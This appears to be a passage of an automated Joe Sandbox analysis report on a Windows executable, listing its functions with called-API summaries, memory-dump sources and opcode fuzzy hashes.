                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$DrawInfoInsert
                                                          • String ID:
                                                          • API String ID: 3076010158-0
                                                          • Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                          • Instruction ID: b0029f7ab3dda55f28562f2beb06933740d28803f5e8ee76451111658c75706e
                                                          • Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                          • Instruction Fuzzy Hash: 3341AC36B00B818AEB14DF66D4402AD77A9FB44BA4FA44036CE0E13754CF38E896D760
                                                          Function 00007FF787BAC72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
                                                          • String ID:
                                                          • API String ID: 4141327611-0
                                                          • Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                          • Instruction ID: 65058c9fde86fc8d9ad95df1503db12c0205a6ce23208fb186f467a0ddefeb49
                                                          • Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                          • Instruction Fuzzy Hash: 37417332A4E7424AFB63BB129144379EA92BF40B90FB44131DA5A07A95DF3CDD43CB21
                                                          Function 00007FF787BE8B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID:
                                                          • API String ID: 432972143-0
                                                          • Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                          • Instruction ID: 3f6e3a1702aef4f91132cab1bd920efb2862661de15cea394ba9670c6b3f9e2d
                                                          • Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                          • Instruction Fuzzy Hash: 1C4108B3A4CB8241F730DB25A490679AAA1FB45B94FE42531EA9B13794CE3CD483C720
                                                          Function 00007FF787C1C580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: LongWindow$InvalidateMessageRectSend
                                                          • String ID:
                                                          • API String ID: 3340791633-0
                                                          • Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                          • Instruction ID: 0ea628995fcbb4f775cb17f942a8679436c6df877562e65f6c0e8976a9e0286b
                                                          • Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                          • Instruction Fuzzy Hash: 5A41AD31E8854686FB74AB14D4412B9A754FB84B90FA85132E61F036D1CE3CE893C738
                                                          Function 00007FF787BE8CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID:
                                                          • API String ID: 432972143-0
                                                          • Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                          • Instruction ID: 221a999cb53ad184adbce5f980075c8d0b088c5c5a3558bcc71589fa304739d6
                                                          • Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                          • Instruction Fuzzy Hash: E8311633A4CA8146E730AB25E4407B9AFA1FB58B50FE55239DA9B03791CE3CD443C360
                                                          Function 00007FF787BFD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Internet$CloseConnectHandleOpen
                                                          • String ID:
                                                          • API String ID: 1463438336-0
                                                          • Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                          • Instruction ID: 3dc6bb6f4dd336ac4461b8fb93371f3d6567fd7adcbb783bd2b30247f4e5b8bf
                                                          • Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                          • Instruction Fuzzy Hash: BD319032A5C78282E724EB16E06477AAB62FB49F94F644135DA4F07B44DF3CE056CB60
                                                          Function 00007FF787C1F8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$Long
                                                          • String ID:
                                                          • API String ID: 847901565-0
                                                          • Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                          • Instruction ID: 28568549950eb98e788599971a56e4865c0c36843d40324d7085c9d54025700f
                                                          • Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                          • Instruction Fuzzy Hash: 3F21B621A59B4185EB50AB25D88473AB754BF85BA4FA54335DA6E07BD4CF3CE443C320
                                                          Function 00007FF787C2108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                          • String ID:
                                                          • API String ID: 2864067406-0
                                                          • Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                          • Instruction ID: 25291da09f3ebad9fc1cb4c7363d25eb6d1a156a39a08a2574734cdbf34c045c
                                                          • Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                          • Instruction Fuzzy Hash: A231A136A58A4582EB10EB16E4953B9E364FB88FD4FA44231DA4E43B64CF3CD487C710
                                                          Function 00007FF787BE50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: lstrcmpilstrcpylstrlen
                                                          • String ID: cdecl
                                                          • API String ID: 4031866154-3896280584
                                                          • Opcode ID: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
                                                          • Instruction ID: 001c07021fc73f9db0e155a18d297db9ab1f21711fd24962509820fb76f77579
                                                          • Opcode Fuzzy Hash: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
                                                          • Instruction Fuzzy Hash: 3221AD7261834285EB24EF16E850279B7A2FF88F94BA94134EB5E47394EF3CE442C314
                                                          Function 00007FF787BDD6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
                                                          • String ID:
                                                          • API String ID: 837644225-0
                                                          • Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                          • Instruction ID: c59980faaf89c2e9019f9c72b9a58c83c54e4698c99d7c356052666be7ed669c
                                                          • Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                          • Instruction Fuzzy Hash: 8821E532A58B8186EB04EF21E448769BBA6FB44B91FA54136CA4E43744DF3CE846C710
                                                          Function 00007FF787C22264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF787B72A54: GetWindowLongPtrW.USER32 ref: 00007FF787B72A71
                                                          • GetClientRect.USER32(?,?,?,?,?,00007FF787BBAA36,?,?,?,?,?,?,?,?,?,00007FF787B727AF), ref: 00007FF787C222C4
                                                          • GetCursorPos.USER32(?,?,?,?,?,00007FF787BBAA36,?,?,?,?,?,?,?,?,?,00007FF787B727AF), ref: 00007FF787C222CF
                                                          • ScreenToClient.USER32 ref: 00007FF787C222DD
                                                          • DefDlgProcW.USER32(?,?,?,?,?,00007FF787BBAA36,?,?,?,?,?,?,?,?,?,00007FF787B727AF), ref: 00007FF787C2231F
                                                            • Part of subcall function 00007FF787C1E894: LoadCursorW.USER32 ref: 00007FF787C1E945
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ClientCursor$LoadLongProcRectScreenWindow
                                                          • String ID:
                                                          • API String ID: 1626762757-0
                                                          • Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                          • Instruction ID: f13740646193e75dd246f2cef83af8b39cdb37ae8c266456b214506d33eb006d
                                                          • Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                          • Instruction Fuzzy Hash: 05213036A58A4286EB14EB05F480569F368FB88F90FA54131DB5E47B55CF3CE982C720
                                                          Function 00007FF787B7932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CreateMessageObjectSendStockWindow
                                                          • String ID:
                                                          • API String ID: 3970641297-0
                                                          • Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                          • Instruction ID: 295728c68af556f02e6ff54e0547fd0aca4ff9c9127daa9290c4ffb43a40fc30
                                                          • Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                          • Instruction Fuzzy Hash: E32171326187C58BE764DB19F4447AABBA1FB88780F940135DA8E47B54CF7CD485CB00
                                                          Function 00007FF787BA2FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _ctrlfp
                                                          • String ID:
                                                          • API String ID: 697997973-0
                                                          • Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                          • Instruction ID: d0f454187747f56f013c580f5aa67bd55c6255a22b2b0a11c2c6486ebd1fb2ab
                                                          • Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                          • Instruction Fuzzy Hash: DA11F931D4C94186E262BA3A90411BBDA72FF9A780FB44231FB8E076A5DF3DD542CA00
                                                          Function 00007FF787BECF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 2979156933-0
                                                          • Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                          • Instruction ID: acf4c578a1da9f0228d5a6cf9c006ac83af94fa05e325d9bf71d088cb941cd02
                                                          • Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                          • Instruction Fuzzy Hash: 8C21D432A4878186E310EB16B880176FAA5FB84BD4F948175E99E43B55CF7CD146C750
                                                          Function 00007FF787BE4B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Type$Register$FileLoadModuleNameUser
                                                          • String ID:
                                                          • API String ID: 1352324309-0
                                                          • Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                          • Instruction ID: fff14173cc99e0fccd62ef6e0f9b4761e1331876436b04a09e8d7167d5c0268b
                                                          • Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                          • Instruction Fuzzy Hash: 2111947275854282E7209F65E08436AB7A1FB88B58FE44135E68E4B644CFBCD546DB20
                                                          Function 00007FF787BAB778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$abort
                                                          • String ID:
                                                          • API String ID: 1447195878-0
                                                          • Opcode ID: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
                                                          • Instruction ID: 6b799a3f24a388f7e49fa7aa15e132d03938bac6bc2ff66fc845780da54b21a3
                                                          • Opcode Fuzzy Hash: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
                                                          • Instruction Fuzzy Hash: 41016930B9A24242EA5AB77BA51557EE9927F44798FF40538D92F02BD6DD2CA806C220
                                                          Function 00007FF787BE9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CounterPerformanceQuerySleep
                                                          • String ID:
                                                          • API String ID: 2875609808-0
                                                          • Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                          • Instruction ID: ec1844ca3b605ac359c7df36042c44624b2b05c4ddf17db41b6bdc0f2cb6975a
                                                          • Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                          • Instruction Fuzzy Hash: 7401D621A5CB8642EA166775A04017BF366BFA8751FA54335E94F626A0CF2CE48BC610
                                                          Function 00007FF787C2072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                          • String ID:
                                                          • API String ID: 1539411459-0
                                                          • Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                          • Instruction ID: 8ad0fa57cd8b87de39f0be39ad12fd2f7711ce29b8b04f6edcf93f39f0997af2
                                                          • Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                          • Instruction Fuzzy Hash: 47019235B6879142E700AB15F809729AA64BB81B94FA84174DF5A03BA1CF7DD482CB50
